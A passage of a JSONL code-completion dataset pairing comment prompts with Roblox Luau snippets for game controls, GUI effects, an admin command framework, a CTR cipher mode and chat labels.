self.vehicleController then\n\t\t\tself.vehicleController:Enable(false, currentSeatPart)\n\t\tend\n\tend\nend\n\nfunction ControlModule:OnCharacterAdded(char)\n\tself.humanoid = char:FindFirstChildOfClass(\"Humanoid\")\n\twhile not self.humanoid do\n\t\tchar.ChildAdded:wait()\n\t\tself.humanoid = char:FindFirstChildOfClass(\"Humanoid\")\n\tend\n\n\tself:UpdateTouchGuiVisibility()\n\n\tif self.humanoidSeatedConn then\n\t\tself.humanoidSeatedConn:Disconnect()\n\t\tself.humanoidSeatedConn = nil\n\tend\n\tself.humanoidSeatedConn = self.humanoid.Seated:Connect(function(active, currentSeatPart)\n\t\tself:OnHumanoidSeated(active, currentSeatPart)\n\tend)\nend\n\nfunction ControlModule:OnCharacterRemoving(char)\n\tself.humanoid = nil\n\n\tself:UpdateTouchGuiVisibility()\nend\n\nfunction ControlModule:UpdateTouchGuiVisibility()\n\tif self.touchGui then\n\t\tlocal doShow = self.humanoid and not UserInputService.ModalEnabled\n\t\tself.touchGui.Enabled = not not doShow -- convert to bool\n\tend\nend\n"} +{"prompt": "-----------------\n--| Functions |--\n-----------------\n-- Removes any old creator tags and applies a new one to the target", "completion": "\nlocal function ApplyTags(target)\n\twhile target:FindFirstChild('creator') do\n\t\ttarget.creator:Destroy()\n\tend\n\n\tlocal creatorTagClone = CreatorTag:Clone()\n\tDebrisService:AddItem(creatorTagClone, 1.5)\n\tcreatorTagClone.Parent = target\nend\n"} +{"prompt": "--[[\n\t~= EXAMPLE CODE =~\n\treturn function(gui,gTable,guiData)\n\t\tlocal name = gTable.Name\n\t\tif name == \"YesNoPrompt\" then\n\t\t\tlocal new = Instance.new(\"ScreenGui\")\n\t\t\tlocal frame = Instance.new(\"Frame\",new)\n\t\t\tframe.Size = UDim2.new(0,400,0,400)\n\t\t\tlocal yes = Instance.new(\"TextButton\",frame)\n\t\t\tyes.Size = UDim2.new(0.5,0,1,0)\n\t\t\tyes.Text = \"Yes\"\n\t\t\tlocal no = yes:Clone()\n\t\t\tno.Text = \"No\"\n\t\t\tno.Position = UDim2.new(0.5,0,0,0)\n\t\t\t\n\t\t\tlocal gTable,gIndex = client.UI.Register(new)\n\t\t\t\n\t\t\tlocal ans\n\t\t\tlocal waiting = true\n\t\t\t\n\t\t\tgTable.CustomDestroy = function()\n\t\t\t\twaiting = false\n\t\t\tend\n\t\t\t\n\t\t\tyes.MouseButton1Click:connect(function()\n\t\t\t\tans = \"Yes\"\n\t\t\t\tgTable:Destroy()\n\t\t\tend)\n\t\t\t\n\t\t\tno.MouseButton1Click:connect(function()\n\t\t\t\tans = \"No\"\n\t\t\t\tgTable:Destroy()\n\t\t\tend)\n\t\t\t\n\t\t\trepeat wait() until ans or not waiting --// Wait until answer\n\t\t\treturn ans or false\n\t\tend\n\tend\n\t\n--]]", "completion": "\n\nservice = nil\nRoutine = nil\nclient = nil\n\nreturn function(gui, guiData, gTable)\n\tlocal contents = {}\n\tlocal lerper = 0.5\n\tlocal switch = false\n\tlocal targetColor = Color3.new(math.random(),math.random(),math.random())\n\tlocal classes = {\n\t\tFrame = true;\n\t\tTextBox = true;\n\t\tTextLabel = true;\n\t\tTextButton = true;\n\t\tImageLabel = true;\n\t\tImageButton = true; \n\t\tScrollingFrame = true;\n\t}\n\t\n\tlocal function getCont(obj)\n\t\tfor i,v in pairs(obj:GetChildren()) do \n\t\t\tif classes[v.ClassName] then\n\t\t\t\ttable.insert(contents,v)\n\t\t\t\tgetCont(v)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tif classes[gui.ClassName] then\n\t\ttable.insert(contents,gui)\n\tend\n\t\n\tgetCont(gui)\n\t\n\tif gTable.Name == \"List\" then\n\t\tgui.Drag.Main.BackgroundTransparency = 0\n\tend\n\t\n\tlocal increment = 0.001\n\tlocal max = 0.7\n\tlocal min = 0.1\n\tlocal r,g,b = 0.1,0.5,0.8\n\tlocal rt,gt,bt = true,true,true \n\tlocal sequence = {\n\t\tColor3.fromRGB(255, 85, 88), \n\t\tColor3.fromRGB(78, 140, 255), \n\t\tColor3.fromRGB(202, 255, 10)\n\t}\n\t\n\tlocal function lerpToColor(color1, color2, inc, time)\n\t\tlocal inc = inc or 0.1\n\t\tfor i = 0, 1, inc do\n\t\t\tfor i2,v in next,contents do\n\t\t\t\tif v.Name ~= \"CapeColor\" and v.Name ~= \"Color\" then\n\t\t\t\t\tv.BackgroundColor3 = color1:lerp(color2, i)\n\t\t\t\t\tif v:IsA(\"ImageLabel\") or v:IsA(\"ImageButton\") then\n\t\t\t\t\t\tv.ImageColor3 = color1:lerp(color2, i)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\twait(time/(1/inc))\n\t\tend\n\tend\n\t\n\tservice.TrackTask(\"Thread: Colorize_\"..tostring(gTable.Name),function()\n\t\twhile ((gTable.Active and wait()) or wait(1)) and not gTable.Destroyed do\n\t\t\tfor i,v in next,sequence do\n\t\t\t\tlocal one, two = sequence[i], sequence[1]\n\t\t\t\t\n\t\t\t\tif i == #sequence then\n\t\t\t\t\ttwo = sequence[1]\n\t\t\t\telse\n\t\t\t\t\ttwo = sequence[i+1]\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tlerpToColor(one, two, 0.01, 2)\n\t\t\tend\n\t\tend\n\tend)\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nElevator = This.Parent.Parent.Parent.Parent.Parent\nCharacters = require(script.Characters)\nCustomLabel = require(Elevator.CustomLabel)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nThis.Parent.Parent.Parent.Parent.Parent:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(3,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"Matrix\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,5 do\t\n\t\t\t\tThis.Display[\"Matrix\"..ID][\"Row\"..i][\"D\"..r].Visible = (l:sub(r,r) == \"1\" and true or false)\n\t\t\tend\n\t\tend\n\tend\nend\n\nfor M = 1, Displays do\n\tfor R = 1, 7 do\n\t\tfor D = 1, 5 do\n\t\t\tThis.Display[\"Matrix\"..M][\"Row\"..R][\"D\"..D].BackgroundColor3 = DisplayColor\n\t\tend\n\tend\nend\n"} +{"prompt": "-- BEHAVIOUR\n--Controller support", "completion": "\ncoroutine.wrap(function()\n\t-- Create PC 'Enter Controller Mode' Icon\n\trunService.Heartbeat:Wait() -- This is required to prevent an infinite recursion\n\tlocal Icon = require(script.Parent)\n\tlocal controllerOptionIcon = Icon.new()\n\t\t:setProperty(\"internalIcon\", true)\n\t\t:setName(\"_TopbarControllerOption\")\n\t\t:setOrder(100)\n\t\t:setImage(\"rbxassetid://5278150942\")\n\t\t:setRight()\n\t\t:setEnabled(false)\n\t\t:setTip(\"Controller mode\")\n\t\t:setProperty(\"deselectWhenOtherIconSelected\", false)\n\n\t-- This decides what controller widgets and displays to show based upon their connected inputs\n\t-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle\n\t-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode\n\tlocal function determineDisplay()\n\t\tlocal mouseEnabled = userInputService.MouseEnabled\n\t\tlocal controllerEnabled = userInputService.GamepadEnabled\n\t\tlocal iconIsSelected = controllerOptionIcon.isSelected\n\t\tif mouseEnabled and controllerEnabled then\n\t\t\t-- Show icon\n\t\t\tcontrollerOptionIcon:setEnabled(true)\n\t\telseif mouseEnabled and not controllerEnabled then\n\t\t\t-- Hide icon, disableControllerMode\n\t\t\tcontrollerOptionIcon:setEnabled(false)\n\t\t\tIconController._enableControllerMode(false)\n\t\t\tcontrollerOptionIcon:deselect()\n\t\telseif not mouseEnabled and controllerEnabled then\n\t\t\t-- Hide icon, _enableControllerMode\n\t\t\tcontrollerOptionIcon:setEnabled(false)\n\t\t\tIconController._enableControllerMode(true)\n\t\tend\n\tend\n\tuserInputService:GetPropertyChangedSignal(\"MouseEnabled\"):Connect(determineDisplay)\n\tuserInputService.GamepadConnected:Connect(determineDisplay)\n\tuserInputService.GamepadDisconnected:Connect(determineDisplay)\n\tdetermineDisplay()\n\n\t-- Enable/Disable Controller Mode when icon clicked\n\tlocal function iconClicked()\n\t\tlocal isSelected = controllerOptionIcon.isSelected\n\t\tlocal iconTip = (isSelected and \"Normal mode\") or \"Controller mode\"\n\t\tcontrollerOptionIcon:setTip(iconTip)\n\t\tIconController._enableControllerMode(isSelected)\n\tend\n\tcontrollerOptionIcon.selected:Connect(iconClicked)\n\tcontrollerOptionIcon.deselected:Connect(iconClicked)\n\n\t-- Hide/show topbar when indicator action selected in controller mode\n\tuserInputService.InputBegan:Connect(function(input, gpe)\n\t\tif not IconController.controllerModeEnabled then\n\t\t\treturn\n\t\tend\n\t\tif input.KeyCode == Enum.KeyCode.DPadDown then\n\t\t\tif not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then\n\t\t\t\tIconController.setTopbarEnabled(true, false)\n\t\t\tend\n\t\telseif input.KeyCode == Enum.KeyCode.ButtonB then\n\t\t\tIconController._previousSelectedObject = guiService.SelectedObject\n\t\t\tIconController._setControllerSelectedObject(nil)\n\t\t\tIconController.setTopbarEnabled(false, false)\n\t\tend\n\t\tinput:Destroy()\n\tend)\n\n\t-- Setup overflow icons\n\tfor alignment, detail in pairs(alignmentDetails) do\n\t\tif alignment ~= \"mid\" then\n\t\t\tlocal overflowName = \"_overflowIcon-\" .. alignment\n\t\t\tlocal overflowIcon = Icon.new()\n\t\t\t\t:setProperty(\"internalIcon\", true)\n\t\t\t\t:setImage(6069276526)\n\t\t\t\t:setName(overflowName)\n\t\t\t\t:setEnabled(false)\n\t\t\tdetail.overflowIcon = overflowIcon\n\t\t\toverflowIcon.accountForWhenDisabled = true\n\t\t\tif alignment == \"left\" then\n\t\t\t\toverflowIcon:setOrder(math.huge)\n\t\t\t\toverflowIcon:setLeft()\n\t\t\t\toverflowIcon:set(\"dropdownAlignment\", \"right\")\n\t\t\telseif alignment == \"right\" then\n\t\t\t\toverflowIcon:setOrder(-math.huge)\n\t\t\t\toverflowIcon:setRight()\n\t\t\t\toverflowIcon:set(\"dropdownAlignment\", \"left\")\n\t\t\tend\n\t\t\toverflowIcon.lockedSettings = {\n\t\t\t\t[\"iconImage\"] = true,\n\t\t\t\t[\"order\"] = true,\n\t\t\t\t[\"alignment\"] = true,\n\t\t\t}\n\t\tend\n\tend\nend)()\n"} +{"prompt": "--- Runs hooks matching name and returns nil for ok or a string for cancellation", "completion": "\nfunction Dispatcher:RunHooks(hookName, commandContext, ...)\n\tif not self.Registry.Hooks[hookName] then\n\t\terror((\"Invalid hook name: %q\"):format(hookName), 2)\n\tend\n\n\tif\n\t\thookName == \"BeforeRun\"\n\t\tand #self.Registry.Hooks[hookName] == 0\n\t\tand commandContext.Group ~= \"Admin\"\n\t\tand commandContext.Group ~= \"UserAlias\"\n\t\tand commandContext:HasImplementation()\n\tthen\n\n\t\tif RunService:IsStudio() then\n\t\t\tif displayedBeforeRunHookWarning == false then\n\t\t\t\tcommandContext:Reply((RunService:IsServer() and \"\" or \"\") .. \" Commands will not run in-game if no BeforeRun hook is configured. Learn more: https://eryn.io/Cmdr/guide/Hooks.html\", Color3.fromRGB(255,228,26))\n\t\t\t\tdisplayedBeforeRunHookWarning = true\n\t\t\tend\n\t\telse\n\t\t\treturn \"Command blocked for security as no BeforeRun hook is configured.\"\n\t\tend\n\tend\n\n\tfor _, hook in ipairs(self.Registry.Hooks[hookName]) do\n\t\tlocal value = hook.callback(commandContext, ...)\n\n\t\tif value ~= nil then\n\t\t\treturn tostring(value)\n\t\tend\n\tend\nend\n\nfunction Dispatcher:PushHistory(text)\n\tassert(RunService:IsClient(), \"PushHistory may only be used from the client.\")\n\n\tlocal history = self:GetHistory()\n\n\t-- Remove duplicates\n\tif Util.TrimString(text) == \"\" or text == history[#history] then\n\t\treturn\n\tend\n\n\thistory[#history + 1] = text\n\n\tTeleportService:SetTeleportSetting(HISTORY_SETTING_NAME, history)\nend\n\nfunction Dispatcher:GetHistory()\n\tassert(RunService:IsClient(), \"GetHistory may only be used from the client.\")\n\n\treturn TeleportService:GetTeleportSetting(HISTORY_SETTING_NAME) or {}\nend\n\nreturn function (cmdr)\n\tDispatcher.Cmdr = cmdr\n\tDispatcher.Registry = cmdr.Registry\n\n\treturn Dispatcher\nend\n"} +{"prompt": "----", "completion": "\nlocal bindable = Instance.new(\"BindableEvent\", script)\nbindable.Name = \"DamageEvent\"\nbindable.Event:Connect(_onDamage)\n"} +{"prompt": "-- Wait for the client's initial replication to complete.\n-- This should allow us to avoid having a mountian of WaitForChilds \ud83d\ude05", "completion": "\nif not game:IsLoaded() then\n\tgame.Loaded:Wait()\nend\n"} +{"prompt": "--- Compute offset", "completion": "\n\nfunction Module._computePosition()\n\tlocal viewSize = Camera.ViewportSize\n\tlocal aspectRatio = viewSize.X / viewSize.Y\n\n\tlocal offset = UDim2Absolute(Module.Position)\n\tlocal position = offset / viewSize\n\n\t-- Taken from ScreenSpace\n\tlocal hFactor = math.tan(math.rad(Camera.FieldOfView) / 2)\n\tlocal wFactor = hFactor * aspectRatio\n\n\treturn -position.X * wFactor * 2, position.Y * hFactor * 2\nend\n\nfunction Module._computeSize()\n\tlocal size = UDim2Absolute(Module.Size) / Camera.ViewportSize\n\treturn size.X, size.Y\nend\n\nfunction Module._getOffset()\n\tlocal x, y = Module._computePosition()\n\tlocal w, h = Module._computeSize()\n\n\treturn CFrame.new(\n\t\t0, 0, 0,\n\n\t\tw, 0, 0,\n\t\t0, h, 0,\n\t\tx, y, 1\n\t)\nend\n"} +{"prompt": "--[[ << PERMISSION TYPES >>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]]", "completion": "local Owner local HeadAdmin local Admin local Mod local VIP--[[\nauto\t\t\t\t\tOwner\t\t\t-- Type ;cmds to view all Owner commands\n4\t\t\t\t\t\tHeadAdmin\t\t-- Type ;cmds to view all HeadAdmin commands\n3\t\t\t\t\t\tAdmin\t\t\t-- Type ;cmds to view all Admin commands\n2\t\t\t\t\t\tMod\t\t\t\t-- Type ;cmds to view all Mod commands\n1\t\t\t\t\t\tVIP\t\t\t\t-- Can only use commands on theirself. Type ;cmds to view all VIP commands\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n0\t\t\t\t\t\tEveryone\t\t-- Setting a command to this permission type will allow anyone to use it\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\n"} +{"prompt": "--// Positioning", "completion": "\n\tSprintPos = CFrame.new(0, 0, 0, 0.844756603, -0.251352191, 0.472449303, 0.103136979, 0.942750931, 0.317149073, -0.525118113, -0.219186768, 0.822318792);\t\t\t\n"} +{"prompt": "--Window:TweenPosition(UDim2.new(-0.5, 0,0.498, 0),\"In\",\"Sine\", 0.5)", "completion": "\n"} +{"prompt": "-- function", "completion": "\n\nreturn function(character, grinding)\n\tlocal rootPart\t= character.HumanoidRootPart\n\tlocal grindAtt\t= rootPart.GrindAttachment\n\t\n\tgrindAtt.SparkEmitter.Enabled\t= grinding\n\t\n\tif grinding then\n\t\tgrindAtt.GrindSound:Play()\n\telse\n\t\tgrindAtt.GrindSound:Stop()\n\tend\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = {\n\tName = \"edit\", \n\tAliases = {}, \n\tDescription = \"Edit text in a TextBox\", \n\tGroup = \"DefaultUtil\", \n\tArgs = { {\n\t\t\tType = \"string\", \n\t\t\tName = \"Input text\", \n\t\t\tDescription = \"The text you wish to edit\", \n\t\t\tDefault = \"\"\n\t\t}, {\n\t\t\tType = \"string\", \n\t\t\tName = \"Delimiter\", \n\t\t\tDescription = \"The character that separates each line\", \n\t\t\tDefault = \",\"\n\t\t} }\n};\nlocal u1 = nil;\nlocal u2 = {\n\tAnchorPoint = Vector2.new(0.5, 0.5), \n\tBackgroundColor3 = Color3.fromRGB(17, 17, 17), \n\tBackgroundTransparency = 0.05, \n\tBorderColor3 = Color3.fromRGB(17, 17, 17), \n\tBorderSizePixel = 20, \n\tClearTextOnFocus = false, \n\tMultiLine = true, \n\tPosition = UDim2.new(0.5, 0, 0.5, 0), \n\tSize = UDim2.new(0.5, 0, 0.4, 0), \n\tFont = Enum.Font.Code, \n\tTextColor3 = Color3.fromRGB(241, 241, 241), \n\tTextWrapped = true, \n\tTextSize = 18, \n\tTextXAlignment = \"Left\", \n\tTextYAlignment = \"Top\", \n\tAutoLocalize = false, \n\tPlaceholderText = \"Right click to exit\"\n};\nlocal l__Players__3 = game:GetService(\"Players\");\nfunction v1.ClientRun(p1, p2, p3)\n\tu1 = u1 or p1.Cmdr.Util.Mutex();\n\tlocal v2 = u1();\n\tp1:Reply(\"Right-click on the text area to exit.\", Color3.fromRGB(158, 158, 158));\n\tlocal v3 = Instance.new(\"ScreenGui\");\n\tv3.Name = \"CmdrEditBox\";\n\tv3.ResetOnSpawn = false;\n\tlocal v4 = Instance.new(\"TextBox\");\n\tfor v5, v6 in pairs(u2) do\n\t\tv4[v5] = v6;\n\tend;\n\tv4.Text = p2:gsub(p3, \"\\n\");\n\tv4.Parent = v3;\n\tv3.Parent = l__Players__3.LocalPlayer:WaitForChild(\"PlayerGui\");\n\tlocal u4 = coroutine.running();\n\tv4.InputBegan:Connect(function(p4)\n\t\tif p4.UserInputType == Enum.UserInputType.MouseButton2 then\n\t\t\tcoroutine.resume(u4, v4.Text:gsub(\"\\n\", p3));\n\t\t\tv3:Destroy();\n\t\t\tv2();\n\t\tend;\n\tend);\n\treturn coroutine.yield();\nend;\nreturn v1;\n"} +{"prompt": "--CTR counter is big-endian", "completion": "\nlocal bytes2word = function(b0,b1,b2,b3)\n\tlocal i = b0; i = LSHIFT(i,8);\n\ti = OR(i,b1); i = LSHIFT(i,8);\n\ti = OR(i,b2); i = LSHIFT(i,8);\n\ti = OR(i,b3);\n\treturn i;\nend\n\nlocal word2bytes = function(word)\n\tlocal b0,b1,b2,b3;\n\tb3 = AND(word,0xFF); word = RSHIFT(word,8);\n\tb2 = AND(word,0xFF); word = RSHIFT(word,8);\n\tb1 = AND(word,0xFF); word = RSHIFT(word,8);\n\tb0 = AND(word,0xFF);\n\treturn b0,b1,b2,b3;\nend\n\n\nlocal CTR = {};\n\nCTR.Cipher = function()\n\n\tlocal public = {};\n\n\tlocal key;\n\tlocal blockCipher;\n\tlocal padding;\n\tlocal inputQueue;\n\tlocal outputQueue;\n\tlocal iv;\n\t\n\tpublic.setKey = function(keyBytes)\n\t\tkey = keyBytes;\n\t\treturn public;\n\tend\n\n\tpublic.setBlockCipher = function(cipher)\n\t\tblockCipher = cipher;\n\t\treturn public;\n\tend\n\n\tpublic.setPadding = function(paddingMode)\n\t\tpadding = paddingMode;\n\t\treturn public;\n\tend\n\n\tpublic.init = function()\n\t\tinputQueue = Queue();\n\t\toutputQueue = Queue();\n\t\tiv = nil;\n\t\treturn public;\n\tend\n\n\tlocal updateIV = function()\n\t\tiv[16] = iv[16] + 1;\n\t\tif iv[16] <= 0xFF then return; end\n\t\tiv[16] = AND(iv[16],0xFF);\n\t\t\t\t\n\t\tiv[15] = iv[15] + 1;\n\t\tif iv[15] <= 0xFF then return; end\n\t\tiv[15] = AND(iv[15],0xFF);\n\n\t\tiv[14] = iv[14] + 1;\n\t\tif iv[14] <= 0xFF then return; end\n\t\tiv[14] = AND(iv[14],0xFF);\n\n\t\tiv[13] = iv[13] + 1;\n\t\tif iv[13] <= 0xFF then return; end\n\t\tiv[13] = AND(iv[13],0xFF);\n\n\t\tiv[12] = iv[12] + 1;\n\t\tif iv[12] <= 0xFF then return; end\n\t\tiv[12] = AND(iv[12],0xFF);\n\n\t\tiv[11] = iv[11] + 1;\n\t\tif iv[11] <= 0xFF then return; end\n\t\tiv[11] = AND(iv[11],0xFF);\n\n\t\tiv[10] = iv[10] + 1;\n\t\tif iv[10] <= 0xFF then return; end\n\t\tiv[10] = AND(iv[10],0xFF);\n\n\t\tiv[9] = iv[9] + 1;\n\t\tif iv[9] <= 0xFF then return; end\n\t\tiv[9] = AND(iv[9],0xFF);\n\n\t\treturn;\n\tend\n\n\tpublic.update = function(messageStream)\n\t\tlocal byte = messageStream();\n\t\twhile (byte ~= nil) do\n\t\t\tinputQueue.push(byte);\n\n\t\t\tif(inputQueue.size() >= blockCipher.blockSize) then\n\t\t\t\tlocal block = Array.readFromQueue(inputQueue,blockCipher.blockSize);\n\t\t\t\t\n\t\t\t\tif(iv == nil) then\n\t\t\t\t\tiv = block;\n\t\t\t\telse\n\t\t\t\t\tlocal out = iv;\n\t\t\t\t\tout = blockCipher.encrypt(key,out);\n\n\t\t\t\t\tout = Array.XOR(out,block);\n\t\t\t\t\tArray.writeToQueue(outputQueue,out);\n\t\t\t\t\tupdateIV();\n\t\t\t\tend\n\t\t\tend\n\t\t\tbyte = messageStream();\n\t\tend\n\t\treturn public;\n\tend\n\n\tpublic.finish = function()\n\t\tpaddingStream = padding(blockCipher.blockSize,inputQueue.getHead());\n\t\tpublic.update(paddingStream);\n\n\t\treturn public;\n\tend\n\n\tpublic.getOutputQueue = function()\n\t\treturn outputQueue;\n\tend\t\n\t\n\tpublic.asHex = function()\n\t\treturn Stream.toHex(outputQueue.pop);\n\tend\n\n\tpublic.asBytes = function()\n\t\treturn Stream.toArray(outputQueue.pop);\n\tend\n\n\treturn public;\n\nend\n\n\nCTR.Decipher = function()\n\n\tlocal public = {};\n\n\tlocal key;\n\tlocal blockCipher;\n\tlocal padding;\n\tlocal inputQueue;\n\tlocal outputQueue;\n\tlocal iv;\n\t\n\tpublic.setKey = function(keyBytes)\n\t\tkey = keyBytes;\n\t\treturn public;\n\tend\n\n\tpublic.setBlockCipher = function(cipher)\n\t\tblockCipher = cipher;\n\t\treturn public;\n\tend\n\n\tpublic.setPadding = function(paddingMode)\n\t\tpadding = paddingMode;\n\t\treturn public;\n\tend\n\n\tpublic.init = function()\n\t\tinputQueue = Queue();\n\t\toutputQueue = Queue();\n\t\tiv = nil;\n\t\treturn public;\n\tend\n\n\tlocal updateIV = function()\n\t\tiv[16] = iv[16] + 1;\n\t\tif iv[16] <= 0xFF then return; end\n\t\tiv[16] = AND(iv[16],0xFF);\n\t\t\t\t\n\t\tiv[15] = iv[15] + 1;\n\t\tif iv[15] <= 0xFF then return; end\n\t\tiv[15] = AND(iv[15],0xFF);\n\n\t\tiv[14] = iv[14] + 1;\n\t\tif iv[14] <= 0xFF then return; end\n\t\tiv[14] = AND(iv[14],0xFF);\n\n\t\tiv[13] = iv[13] + 1;\n\t\tif iv[13] <= 0xFF then return; end\n\t\tiv[13] = AND(iv[13],0xFF);\n\n\t\tiv[12] = iv[12] + 1;\n\t\tif iv[12] <= 0xFF then return; end\n\t\tiv[12] = AND(iv[12],0xFF);\n\n\t\tiv[11] = iv[11] + 1;\n\t\tif iv[11] <= 0xFF then return; end\n\t\tiv[11] = AND(iv[11],0xFF);\n\n\t\tiv[10] = iv[10] + 1;\n\t\tif iv[10] <= 0xFF then return; end\n\t\tiv[10] = AND(iv[10],0xFF);\n\n\t\tiv[9] = iv[9] + 1;\n\t\tif iv[9] <= 0xFF then return; end\n\t\tiv[9] = AND(iv[9],0xFF);\n\n\t\treturn;\n\tend\n\n\tpublic.update = function(messageStream)\n\t\tlocal byte = messageStream();\n\t\twhile (byte ~= nil) do\n\t\t\tinputQueue.push(byte);\n\n\t\t\tif(inputQueue.size() >= blockCipher.blockSize) then\n\t\t\t\tlocal block = Array.readFromQueue(inputQueue,blockCipher.blockSize);\n\n\t\t\t\tif(iv == nil) then\n\t\t\t\t\tiv = block;\n\t\t\t\telse\n\t\t\t\t\tlocal out = iv;\n\t\t\t\t\tout = blockCipher.encrypt(key,out);\n\n\t\t\t\t\tout = Array.XOR(out,block);\n\t\t\t\t\tArray.writeToQueue(outputQueue,out);\n\t\t\t\t\tupdateIV();\n\t\t\t\tend\n\t\t\tend\n\t\t\tbyte = messageStream();\n\t\tend\n\t\treturn public;\n\tend\n\n\tpublic.finish = function()\n\t\tpaddingStream = padding(blockCipher.blockSize,inputQueue.getHead());\n\t\tpublic.update(paddingStream);\n\n\t\treturn public;\n\tend\n\n\tpublic.getOutputQueue = function()\n\t\treturn outputQueue;\n\tend\t\n\t\n\tpublic.asHex = function()\n\t\treturn Stream.toHex(outputQueue.pop);\n\tend\n\n\tpublic.asBytes = function()\n\t\treturn Stream.toArray(outputQueue.pop);\n\tend\n\n\treturn public;\n\nend\n\n\n\n\nreturn CTR;\n\n"} +{"prompt": "--------------------------------------------------------------------------------------\n--------------------[ VARIABLES ]-----------------------------------------------------\n--------------------------------------------------------------------------------------", "completion": "\n\nlocal Selected = false\n\nlocal playerMass = 0\n\nlocal Forward = false\nlocal Backward = false\n\nlocal Idling = false\nlocal Walking = false\nlocal Running = false\n\nlocal crawlCamRot = 0\nlocal crawlAlpha = 0\nlocal idleAlpha = 1\nlocal walkAlpha = 0\nlocal isCrawling = false\nlocal isIdling = false\nlocal isWalking = false\nlocal isRunning = false\n\nlocal Aimed = false\nlocal Aiming = false\nlocal aimAlpha = 0\nlocal headOffset = VEC2(COS(RAD(90) - S.aimSettings.headTilt) * 0.5, 1 + SIN(RAD(90) - S.aimSettings.headTilt) * 0.5)\n\nlocal Reloading = false\nlocal breakReload = false\nlocal magVisible = true\nlocal newMag = false\n\nlocal Knifing = false\n\nlocal MB1Down = false\nlocal Firing = false\nlocal canFire = true\nlocal fireFunction = nil\nlocal firstShot = false\nlocal shotCount = 0\nlocal lastSideRecoil = {0, 0}\nlocal recoilAnim = {\n\tPos = V3();\n\tRot = V3();\n\tCode = nil;\n}\n\nlocal numModes = 0\nlocal rawFireMode = 1\nlocal canSelectFire = true\nlocal guiAngOffset = 0\nlocal Modes = {}\n\nlocal onGround = true\nlocal startFallHeight = 0\nlocal jumpAnim = {\n\tPos = 0;\n\tRot = 0;\n\tCode = 0;\n}\n\nlocal runReady = true\nlocal runKeyPressed = false\nlocal chargingStamina = false\n\nlocal AimingIn = false\nlocal AimingOut = false\n\nlocal Stamina = S.sprintTime * 60\nlocal currentSteadyTime = S.scopeSettings.steadyTime * 60\n\nlocal camSteady = false\nlocal takingBreath = false\nlocal steadyKeyPressed = false\n\nlocal Grip = nil\nlocal aimedGripCF = nil\n\nlocal spreadZoom = \"unAimed\"\nlocal spreadStance = \"Stand\"\nlocal spreadMotion = \"Idling\"\nlocal baseSpread = S.spreadSettings.unAimed.Stand.Idling\nlocal currentSpread = 0\nlocal loweringSpread = false\n\nlocal mouseSensitivity = S.sensitivitySettings.Default\nlocal aimSensitivity = S.sensitivitySettings.Aim\nlocal lastSensUpdate = 0\n\nlocal ammoInClip = 0\n\nlocal Stance = 0\nlocal stanceSway = 1\nlocal camSway = 1\n\nlocal camAng = VEC2()\n\nlocal armTilt = 0\nlocal moveAng = 0\nlocal animCode = 0\n\nlocal desiredXOffset = 0\nlocal desiredYOffset = 0\nlocal currentXOffset = 0\nlocal currentYOffset = 0\nlocal aimHeadOffset = 0\nlocal recoilAnimMultiplier = 1\nlocal jumpAnimMultiplier = 1\nlocal translationDivisor = 7\nlocal rotationMultiplier = S.momentumSettings.Amplitude.unAimed\nlocal armTiltMultiplier = 1\n\nlocal equipAnimPlaying = false\n\nlocal crossOffset = 0\n\nlocal camOffsets = {\n\tguiScope = {\n\t\tRot = V3();\n\t};\n\tReload = {\n\t\tRot = V3();\n\t\tCode = nil;\n\t};\n\tRecoil = {\n\t\tRot = V3();\n\t\tCode = nil;\n\t};\n}\n\nlocal Anim = {\n\tPos = V3();\n\tRot = V3();\n\tAng = 0;\n\tCode = 0;\n}\n\nlocal lastBeat = 0\n\nlocal gunParts = {}\n\nlocal Connections = {}\n\nlocal Keys = {}\n"} +{"prompt": "-- Connect the button's click event to the function", "completion": "\nbutton.MouseButton1Click:Connect(onButtonClicked)\n"} +{"prompt": "-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config", "completion": "\npcall(function() ChatLocalization = require((game:GetService(\"Chat\") :: any).ClientChatModules.ChatLocalization :: any) end)\n\nfunction CreateWelcomeMessageLabel(messageData, channelName)\n\tlocal message = messageData.Message\n\tif ChatLocalization and ChatLocalization.LocalizeFormattedMessage then\n\t\tmessage = ChatLocalization:LocalizeFormattedMessage(message)\n\tend\n\tlocal extraData = messageData.ExtraData or {}\n\tlocal useFont = extraData.Font or ChatSettings.DefaultFont\n\tlocal useTextSize = extraData.FontSize or ChatSettings.ChatWindowTextSize\n\tlocal useChatColor = extraData.ChatColor or ChatSettings.DefaultMessageColor\n\tlocal useChannelColor = extraData.ChannelColor or useChatColor\n\n\tlocal BaseFrame, BaseMessage = util:CreateBaseMessage(message, useFont, useTextSize, useChatColor)\n\tlocal ChannelButton = nil\n\n\tif channelName ~= messageData.OriginalChannel then\n\t\t\tlocal localizedChannelName = messageData.OriginalChannel\n\t\t\tif 